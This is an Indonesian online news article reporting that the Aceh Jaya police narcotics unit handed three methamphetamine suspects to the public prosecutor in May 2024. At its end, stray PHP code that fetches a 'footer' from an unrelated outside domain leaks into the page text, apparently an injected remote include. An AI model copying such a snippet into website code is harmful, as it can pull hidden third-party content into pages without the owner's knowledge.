Penyidik Satnarkoba Polres Aceh Jaya Menyerahkan Tiga Tersangka Narkoba ke JPU

Kamis, 9 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Calang – Satuan Narkoba Polres Aceh Jaya telah menyerahkan tiga tersangka terkait kepemilikan Narkotika Jenis sabu kepada Jaksa Penuntut Umum. Serah terima dilakukan setelah berkas perkara dinyatakan lengkap/P21 di Kantor Kejaksaan Negeri Aceh Jaya pada Rabu, 8 Mei 2024, sekitar pukul 15.00 WIB.

Baca Juga:  Kegiatan Infrastruktur Jalan, Kejaksaan Negeri Bondowoso Tetapkan Tiga Tersangka Diduga Rugikan Keuangan Negara Hingga 50 Persen

Ketiga tersangka yang diserahkan adalah MF bin MY (31 tahun), AF bin Alm, AD (37 tahun), dan AS bin BA (32 tahun).

Kapolres Aceh Jaya, AKBP Andy Sumarta, melalui Kasatnarkoba, AKP Darli, menjelaskan bahwa penyidik telah menyerahkan ketiga tersangka narkoba jenis sabu kepada Jaksa Penuntut Umum setelah berkas perkara ketiganya dianggap lengkap/P21.

Baca Juga:  8 Fraksi DPRD Sahkan Ranperda Pertanggung Jawaban Pelaksanaan APBD Lampung Selatan Ta 2023

“Ketiga tersangka dan barang bukti telah diterima oleh pihak JPU, serta proses administratif yang diperlukan telah dilakukan,” ungkap AKP Darli.

Lebih lanjutnya, Ketiga tersangka telah menjalani proses pemeriksaan yang menyakinkan serta terbukti terlibat dalam tindak pidana narkotika.

Baca Juga:  Polres Aceh Jaya Menggunakan Mobil Patroli Bantu Murid SD 4 Darul Hikmah Melaksanakan Ujian AMBK

Dengan tindakan ini, Satuan Narkoba Polres Aceh Jaya menegaskan komitmennya dalam menindak pelanggaran hukum terkait narkotika, demi menciptakan lingkungan yang aman dan bersih dari kejahatan tersebut.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes
Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai
Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden
Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran
Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Tag :

Berita Terkait

Rabu, 16 Oktober 2024 - 08:46 WIB

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes

Selasa, 15 Oktober 2024 - 07:41 WIB

Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai

Senin, 14 Oktober 2024 - 14:28 WIB

Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden

Senin, 14 Oktober 2024 - 14:19 WIB

Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>